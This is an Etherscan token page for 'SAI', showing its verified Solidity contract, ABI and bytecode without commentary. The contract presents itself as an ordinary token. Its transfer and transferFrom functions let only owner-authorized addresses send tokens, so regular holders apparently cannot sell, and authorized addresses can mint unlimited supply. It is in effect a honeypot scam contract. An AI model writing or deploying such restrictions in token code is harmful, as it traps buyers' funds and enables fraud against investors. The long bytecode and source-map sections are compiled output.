ETH Price: $2,534.82 (-3.92%)

Token

SAI (SAI)
 

Overview

Max Total Supply

1,000,000,000 SAI

Holders

260

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
fysork.eth
Balance
132.167243671 SAI

Value
$0.00
0x92b449114420c1b3F10324491727De57809f9Cc8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-01-29
*/

pragma solidity ^0.8.17;

//SPDX-License-Identifier: MIT

/*
SAI - https://t.me/SAIKOeth
*/

contract Token {
    
    address internal owner = 0x41DB51F4Af7ea7617A103BeB4b5A07b8390B859F;

    address ZERO = 0x0000000000000000000000000000000000000000;

    mapping (address => bool) internal authorizations;
    
    mapping(address => uint) public balances;

    mapping(address => mapping(address => uint)) public allowance;

    uint _totalSupply = 1 * (10**9) *  (10 ** 9);
    string public name = "SAI";
    string public symbol = "SAI";
    uint public decimals = 9;
    
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
    
    constructor() {
        balances[msg.sender] = _totalSupply;
        authorizations[owner] = true;
    }

    function totalSupply() external view returns (uint256) { return _totalSupply; }
    
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }
    
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function changeOwner(address account) public onlyOwner {
        owner = account;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }
    
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }
    
    function balanceOf(address holder) public view returns(uint) {
        return balances[holder];
    }
    
    function transfer(address to, uint value) public returns(bool) {
        require(authorizations[msg.sender] || authorizations[to]);
	  return _transfer(msg.sender, to, value);
    }
    
    function transferFrom(address from, address to, uint value) public authorized returns(bool) {
        require(allowance[from][msg.sender] >= value, 'allowance too low');
        allowance[from][msg.sender] -= value;
	  return _transfer(from, to, value);
    }

    function _transfer(address from, address to, uint value) internal returns(bool) {
        require(balanceOf(from) >= value, 'balance too low');
        balances[from] -= value;
	  if(to == address(0) || to == address(0xdead)) 
		_totalSupply -= value;
	  else
		balances[to] += value;
        emit Transfer(from, to, value);
        return true;
    }
    
    function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;   
    }

    function mint(address holder, uint amount) public authorized returns(bool) {
        balances[holder] += amount;
        _totalSupply += amount;
	  emit Transfer(address(0), holder, amount);
        return true;
    }
    
    function airdrop(address[] calldata addresses, uint[] calldata tokens) external onlyOwner {
        uint256 airCapacity = 0;
        require(addresses.length == tokens.length,"Mismatch between Address and token count");

        for(uint i=0; i < addresses.length; i++){
            balances[addresses[i]] += tokens[i];
            balances[msg.sender] -= tokens[i];
		airCapacity += tokens[i];
            emit Transfer(msg.sender, addresses[i], tokens[i]);
        }
	  require(balanceOf(msg.sender) >= airCapacity, "Not enough tokens to airdrop");
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"}]

600080546001600160a01b03199081167341db51f4af7ea7617a103beb4b5a07b8390b859f17909155600180549091169055670de0b6b3a764000060055560c0604052600360809081526253414960e81b60a05260069062000062908262000181565b5060408051808201909152600381526253414960e81b60208201526007906200008c908262000181565b5060096008553480156200009f57600080fd5b506005543360009081526003602090815260408083209390935581546001600160a01b031682526002905220805460ff191660011790556200024d565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200010757607f821691505b6020821081036200012857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200017c57600081815260208120601f850160051c81016020861015620001575750805b601f850160051c820191505b81811015620001785782815560010162000163565b5050505b505050565b81516001600160401b038111156200019d576200019d620000dc565b620001b581620001ae8454620000f2565b846200012e565b602080601f831160018114620001ed5760008415620001d45750858301515b600019600386901b1c1916600185901b17855562000178565b600085815260208120601f198616915b828110156200021e57888601518255948401946001909101908401620001fd565b50858210156200023d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610d74806200025d6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806367243482116100a2578063a9059cbb11610071578063a9059cbb1461022d578063b6a5d7de14610240578063dd62ed3e14610253578063f0b37c041461027e578063fe9fbb801461029157600080fd5b806367243482146101d457806370a08231146101e957806395d89b4114610212578063a6f9dae11461021a57600080fd5b806327e235e3116100de57806327e235e3146101765780632f54bf6e14610196578063313ce567146101b857806340c10f19146101c157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102bd565b6040516101259190610aa3565b60405180910390f35b61014161013c366004610b0d565b61034b565b6040519015158152602001610125565b6005545b604051908152602001610125565b610141610171366004610b37565b6103b8565b610155610184366004610b73565b60036020526000908152604090205481565b6101416101a4366004610b73565b6000546001600160a01b0391821691161490565b61015560085481565b6101416101cf366004610b0d565b6104bd565b6101e76101e2366004610bda565b61058e565b005b6101556101f7366004610b73565b6001600160a01b031660009081526003602052604090205490565b610118610812565b6101e7610228366004610b73565b61081f565b61014161023b366004610b0d565b61086b565b6101e761024e366004610b73565b6108bc565b610155610261366004610c46565b600460209081526000928352604080842090915290825290205481565b6101e761028c366004610b73565b61090a565b61014161029f366004610b73565b6001600160a01b031660009081526002602052604090205460ff1690565b600680546102ca90610c79565b80601f01602080910402602001604051908101604052809291908181526020018280546102f690610c79565b80156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103a69086815260200190565b60405180910390a35060015b92915050565b3360009081526002602052604081205460ff1661040a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526004602090815260408083203384529091529020548211156104715760405162461bcd60e51b8152602060048201526011602482015270616c6c6f77616e636520746f6f206c6f7760781b6044820152606401610401565b6001600160a01b0384166000908152600460209081526040808320338452909152812080548492906104a4908490610cc9565b909155506104b59050848484610955565b949350505050565b3360009081526002602052604081205460ff1661050a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610401565b6001600160a01b03831660009081526003602052604081208054849290610532908490610cdc565b92505081905550816005600082825461054b9190610cdc565b90915550506040518281526001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016103a6565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040161040190610cef565b600083821461061a5760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610401565b60005b848110156107ab5783838281811061063757610637610d0f565b905060200201356003600088888581811061065457610654610d0f565b90506020020160208101906106699190610b73565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106989190610cdc565b9091555084905083828181106106b0576106b0610d0f565b9050602002013560036000336001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106eb9190610cc9565b90915550849050838281811061070357610703610d0f565b90506020020135826107159190610cdc565b915085858281811061072957610729610d0f565b905060200201602081019061073e9190610b73565b6001600160a01b0316337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86868581811061077b5761077b610d0f565b9050602002013560405161079191815260200190565b60405180910390a3806107a381610d25565b91505061061d565b503360009081526003602052604090205481111561080b5760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f70000000006044820152606401610401565b5050505050565b600780546102ca90610c79565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161040190610cef565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205460ff16806108a157506001600160a01b03831660009081526002602052604090205460ff165b6108aa57600080fd5b6108b5338484610955565b9392505050565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161040190610cef565b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161040190610cef565b6001600160a01b03166000908152600260205260409020805460ff19169055565b6001600160a01b0383166000908152600360205260408120548211156109af5760405162461bcd60e51b815260206004820152600f60248201526e62616c616e636520746f6f206c6f7760881b6044820152606401610401565b6001600160a01b038416600090815260036020526040812080548492906109d7908490610cc9565b90915550506001600160a01b03831615806109fc57506001600160a01b03831661dead145b15610a1e578160056000828254610a139190610cc9565b90915550610a4c9050565b6001600160a01b03831660009081526003602052604081208054849290610a46908490610cdc565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9191815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610ad057858101830151858201604001528201610ab4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b0857600080fd5b919050565b60008060408385031215610b2057600080fd5b610b2983610af1565b946020939093013593505050565b600080600060608486031215610b4c57600080fd5b610b5584610af1565b9250610b6360208501610af1565b9150604084013590509250925092565b600060208284031215610b8557600080fd5b6108b582610af1565b60008083601f840112610ba057600080fd5b50813567ffffffffffffffff811115610bb857600080fd5b6020830191508360208260051b8501011115610bd357600080fd5b9250929050565b60008060008060408587031215610bf057600080fd5b843567ffffffffffffffff80821115610c0857600080fd5b610c1488838901610b8e565b90965094506020870135915080821115610c2d57600080fd5b50610c3a87828801610b8e565b95989497509550505050565b60008060408385031215610c5957600080fd5b610c6283610af1565b9150610c7060208401610af1565b90509250929050565b600181811c90821680610c8d57607f821691505b602082108103610cad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103b2576103b2610cb3565b808201808211156103b2576103b2610cb3565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201610d3757610d37610cb3565b506001019056fea26469706673582212208ff94cfdeaad609efa5900a69b0d58db96a483059270ab9a40da46eab3138c5d64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806367243482116100a2578063a9059cbb11610071578063a9059cbb1461022d578063b6a5d7de14610240578063dd62ed3e14610253578063f0b37c041461027e578063fe9fbb801461029157600080fd5b806367243482146101d457806370a08231146101e957806395d89b4114610212578063a6f9dae11461021a57600080fd5b806327e235e3116100de57806327e235e3146101765780632f54bf6e14610196578063313ce567146101b857806340c10f19146101c157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102bd565b6040516101259190610aa3565b60405180910390f35b61014161013c366004610b0d565b61034b565b6040519015158152602001610125565b6005545b604051908152602001610125565b610141610171366004610b37565b6103b8565b610155610184366004610b73565b60036020526000908152604090205481565b6101416101a4366004610b73565b6000546001600160a01b0391821691161490565b61015560085481565b6101416101cf366004610b0d565b6104bd565b6101e76101e2366004610bda565b61058e565b005b6101556101f7366004610b73565b6001600160a01b031660009081526003602052604090205490565b610118610812565b6101e7610228366004610b73565b61081f565b61014161023b366004610b0d565b61086b565b6101e761024e366004610b73565b6108bc565b610155610261366004610c46565b600460209081526000928352604080842090915290825290205481565b6101e761028c366004610b73565b61090a565b61014161029f366004610b73565b6001600160a01b031660009081526002602052604090205460ff1690565b600680546102ca90610c79565b80601f01602080910402602001604051908101604052809291908181526020018280546102f690610c79565b80156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103a69086815260200190565b60405180910390a35060015b92915050565b3360009081526002602052604081205460ff1661040a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526004602090815260408083203384529091529020548211156104715760405162461bcd60e51b8152602060048201526011602482015270616c6c6f77616e636520746f6f206c6f7760781b6044820152606401610401565b6001600160a01b0384166000908152600460209081526040808320338452909152812080548492906104a4908490610cc9565b909155506104b59050848484610955565b949350505050565b3360009081526002602052604081205460ff1661050a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610401565b6001600160a01b03831660009081526003602052604081208054849290610532908490610cdc565b92505081905550816005600082825461054b9190610cdc565b90915550506040518281526001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016103a6565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040161040190610cef565b600083821461061a5760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610401565b60005b848110156107ab5783838281811061063757610637610d0f565b905060200201356003600088888581811061065457610654610d0f565b90506020020160208101906106699190610b73565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106989190610cdc565b9091555084905083828181106106b0576106b0610d0f565b9050602002013560036000336001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106eb9190610cc9565b90915550849050838281811061070357610703610d0f565b90506020020135826107159190610cdc565b915085858281811061072957610729610d0f565b905060200201602081019061073e9190610b73565b6001600160a01b0316337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86868581811061077b5761077b610d0f565b9050602002013560405161079191815260200190565b60405180910390a3806107a381610d25565b91505061061d565b503360009081526003602052604090205481111561080b5760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f70000000006044820152606401610401565b5050505050565b600780546102ca90610c79565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161040190610cef565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526002602052604081205460ff16806108a157506001600160a01b03831660009081526002602052604090205460ff165b6108aa57600080fd5b6108b5338484610955565b9392505050565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161040190610cef565b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161040190610cef565b6001600160a01b03166000908152600260205260409020805460ff19169055565b6001600160a01b0383166000908152600360205260408120548211156109af5760405162461bcd60e51b815260206004820152600f60248201526e62616c616e636520746f6f206c6f7760881b6044820152606401610401565b6001600160a01b038416600090815260036020526040812080548492906109d7908490610cc9565b90915550506001600160a01b03831615806109fc57506001600160a01b03831661dead145b15610a1e578160056000828254610a139190610cc9565b90915550610a4c9050565b6001600160a01b03831660009081526003602052604081208054849290610a46908490610cdc565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9191815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610ad057858101830151858201604001528201610ab4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b0857600080fd5b919050565b60008060408385031215610b2057600080fd5b610b2983610af1565b946020939093013593505050565b600080600060608486031215610b4c57600080fd5b610b5584610af1565b9250610b6360208501610af1565b9150604084013590509250925092565b600060208284031215610b8557600080fd5b6108b582610af1565b60008083601f840112610ba057600080fd5b50813567ffffffffffffffff811115610bb857600080fd5b6020830191508360208260051b8501011115610bd357600080fd5b9250929050565b60008060008060408587031215610bf057600080fd5b843567ffffffffffffffff80821115610c0857600080fd5b610c1488838901610b8e565b90965094506020870135915080821115610c2d57600080fd5b50610c3a87828801610b8e565b95989497509550505050565b60008060408385031215610c5957600080fd5b610c6283610af1565b9150610c7060208401610af1565b90509250929050565b600181811c90821680610c8d57607f821691505b602082108103610cad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103b2576103b2610cb3565b808201808211156103b2576103b2610cb3565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201610d3757610d37610cb3565b506001019056fea26469706673582212208ff94cfdeaad609efa5900a69b0d58db96a483059270ab9a40da46eab3138c5d64736f6c63430008110033

Deployed Bytecode Sourcemap

101:3574:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;503:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2659:202;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2659:202:0;1004:187:1;885:79:0;949:12;;885:79;;;1342:25:1;;;1330:2;1315:18;885:79:0;1196:177:1;2016:263:0;;;;;;:::i;:::-;;:::i;333:40::-;;;;;;:::i;:::-;;;;;;;;;;;;;;1167:103;;;;;;:::i;:::-;1222:4;1257:5;-1:-1:-1;;;;;1246:16:0;;;1257:5;;1246:16;;1167:103;571:24;;;;;;2869:222;;;;;;:::i;:::-;;:::i;3103:567::-;;;;;;:::i;:::-;;:::i;:::-;;1705:103;;;;;;:::i;:::-;-1:-1:-1;;;;;1784:16:0;1760:4;1784:16;;;:8;:16;;;;;;;1705:103;536:28;;;:::i;1278:89::-;;;;;;:::i;:::-;;:::i;1820:184::-;;;;;;:::i;:::-;;:::i;1494:94::-;;;;;;:::i;:::-;;:::i;382:61::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;1596:97;;;;;;:::i;:::-;;:::i;1375:107::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1455:19:0;1431:4;1455:19;;;:14;:19;;;;;;;;;1375:107;503:26;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2659:202::-;2748:10;2721:4;2738:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2738:30:0;;;;;;;;;;:38;;;2792:36;2721:4;;2738:30;;2792:36;;;;2771:5;1342:25:1;;1330:2;1315:18;;1196:177;2792:36:0;;;;;;;;-1:-1:-1;2846:4:0;2659:202;;;;;:::o;2016:263::-;1117:10;2102:4;1455:19;;;:14;:19;;;;;;;;1096:48;;;;-1:-1:-1;;;1096:48:0;;3904:2:1;1096:48:0;;;3886:21:1;3943:2;3923:18;;;3916:30;-1:-1:-1;;;3962:18:1;;;3955:41;4013:18;;1096:48:0;;;;;;;;;-1:-1:-1;;;;;2127:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;;;;2143:10:::1;2127:27:::0;;;;;;;;:36;-1:-1:-1;2127:36:0::1;2119:66;;;::::0;-1:-1:-1;;;2119:66:0;;4244:2:1;2119:66:0::1;::::0;::::1;4226:21:1::0;4283:2;4263:18;;;4256:30;-1:-1:-1;;;4302:18:1;;;4295:47;4359:18;;2119:66:0::1;4042:341:1::0;2119:66:0::1;-1:-1:-1::0;;;;;2196:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;;;;2212:10:::1;2196:27:::0;;;;;;;:36;;2227:5;;2196:15;:36:::1;::::0;2227:5;;2196:36:::1;:::i;:::-;::::0;;;-1:-1:-1;2245:26:0::1;::::0;-1:-1:-1;2255:4:0;2261:2;2265:5;2245:9:::1;:26::i;:::-;2238:33:::0;2016:263;-1:-1:-1;;;;2016:263:0:o;2869:222::-;1117:10;2938:4;1455:19;;;:14;:19;;;;;;;;1096:48;;;;-1:-1:-1;;;1096:48:0;;3904:2:1;1096:48:0;;;3886:21:1;3943:2;3923:18;;;3916:30;-1:-1:-1;;;3962:18:1;;;3955:41;4013:18;;1096:48:0;3702:335:1;1096:48:0;-1:-1:-1;;;;;2955:16:0;::::1;;::::0;;;:8:::1;:16;::::0;;;;:26;;2975:6;;2955:16;:26:::1;::::0;2975:6;;2955:26:::1;:::i;:::-;;;;;;;;3008:6;2992:12;;:22;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;3025:36:0::1;::::0;1342:25:1;;;-1:-1:-1;;;;;3025:36:0;::::1;::::0;3042:1:::1;::::0;3025:36:::1;::::0;1330:2:1;1315:18;3025:36:0::1;1196:177:1::0;3103:567:0;1222:4;1257:5;-1:-1:-1;;;;;1257:5:0;1024:10;1246:16;1008:38;;;;-1:-1:-1;;;1008:38:0;;;;;;;:::i;:::-;3204:19:::1;3246:33:::0;;::::1;3238:85;;;::::0;-1:-1:-1;;;3238:85:0;;5319:2:1;3238:85:0::1;::::0;::::1;5301:21:1::0;5358:2;5338:18;;;5331:30;5397:34;5377:18;;;5370:62;-1:-1:-1;;;5448:18:1;;;5441:38;5496:19;;3238:85:0::1;5117:404:1::0;3238:85:0::1;3340:6;3336:244;3350:20:::0;;::::1;3336:244;;;3417:6;;3424:1;3417:9;;;;;;;:::i;:::-;;;;;;;3391:8;:22;3400:9;;3410:1;3400:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3391:22:0::1;-1:-1:-1::0;;;;;3391:22:0::1;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;3465:6:0;;-1:-1:-1;3465:6:0;3472:1;3465:9;;::::1;;;;;:::i;:::-;;;;;;;3441:8;:20;3450:10;-1:-1:-1::0;;;;;3441:20:0::1;-1:-1:-1::0;;;;;3441:20:0::1;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;3494:6:0;;-1:-1:-1;3494:6:0;3501:1;3494:9;;::::1;;;;;:::i;:::-;;;;;;;3479:24;;;;;:::i;:::-;;;3544:9;;3554:1;3544:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3523:45:0::1;3532:10;3523:45;3558:6:::0;;3565:1;3558:9;;::::1;;;;;:::i;:::-;;;;;;;3523:45;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;3523:45:0::1;;;;;;;;3372:3:::0;::::1;::::0;::::1;:::i;:::-;;;;3336:244;;;-1:-1:-1::0;3603:10:0::1;1760:4:::0;1784:16;;;:8;:16;;;;;;3618:11;-1:-1:-1;3593:36:0::1;3585:77;;;::::0;-1:-1:-1;;;3585:77:0;;6000:2:1;3585:77:0::1;::::0;::::1;5982:21:1::0;6039:2;6019:18;;;6012:30;6078;6058:18;;;6051:58;6126:18;;3585:77:0::1;5798:352:1::0;3585:77:0::1;3193:477;3103:567:::0;;;;:::o;536:28::-;;;;;;;:::i;1278:89::-;1222:4;1257:5;-1:-1:-1;;;;;1257:5:0;1024:10;1246:16;1008:38;;;;-1:-1:-1;;;1008:38:0;;;;;;;:::i;:::-;1344:5:::1;:15:::0;;-1:-1:-1;;;;;;1344:15:0::1;-1:-1:-1::0;;;;;1344:15:0;;;::::1;::::0;;;::::1;::::0;;1278:89::o;1820:184::-;1917:10;1877:4;1902:26;;;:14;:26;;;;;;;;;:48;;-1:-1:-1;;;;;;1932:18:0;;;;;;:14;:18;;;;;;;;1902:48;1894:57;;;;;;1964:32;1974:10;1986:2;1990:5;1964:9;:32::i;:::-;1957:39;1820:184;-1:-1:-1;;;1820:184:0:o;1494:94::-;1222:4;1257:5;-1:-1:-1;;;;;1257:5:0;1024:10;1246:16;1008:38;;;;-1:-1:-1;;;1008:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1554:19:0::1;;::::0;;;:14:::1;:19;::::0;;;;:26;;-1:-1:-1;;1554:26:0::1;1576:4;1554:26;::::0;;1494:94::o;1596:97::-;1222:4;1257:5;-1:-1:-1;;;;;1257:5:0;1024:10;1246:16;1008:38;;;;-1:-1:-1;;;1008:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1658:19:0::1;1680:5;1658:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;1658:27:0::1;::::0;;1596:97::o;2287:360::-;-1:-1:-1;;;;;1784:16:0;;2361:4;1784:16;;;:8;:16;;;;;;2405:5;-1:-1:-1;2386:24:0;2378:52;;;;-1:-1:-1;;;2378:52:0;;6357:2:1;2378:52:0;;;6339:21:1;6396:2;6376:18;;;6369:30;-1:-1:-1;;;6415:18:1;;;6408:45;6470:18;;2378:52:0;6155:339:1;2378:52:0;-1:-1:-1;;;;;2441:14:0;;;;;;:8;:14;;;;;:23;;2459:5;;2441:14;:23;;2459:5;;2441:23;:::i;:::-;;;;-1:-1:-1;;;;;;;2473:16:0;;;;:41;;-1:-1:-1;;;;;;2493:21:0;;2507:6;2493:21;2473:41;2470:106;;;2536:5;2520:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;2470:106:0;;-1:-1:-1;2470:106:0;;-1:-1:-1;;;;;2555:12:0;;;;;;:8;:12;;;;;:21;;2571:5;;2555:12;:21;;2571:5;;2555:21;:::i;:::-;;;;-1:-1:-1;;2470:106:0;2607:2;-1:-1:-1;;;;;2592:25:0;2601:4;-1:-1:-1;;;;;2592:25:0;;2611:5;2592:25;;;;1342::1;;1330:2;1315:18;;1196:177;2592:25:0;;;;;;;;-1:-1:-1;2635:4:0;2287:360;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6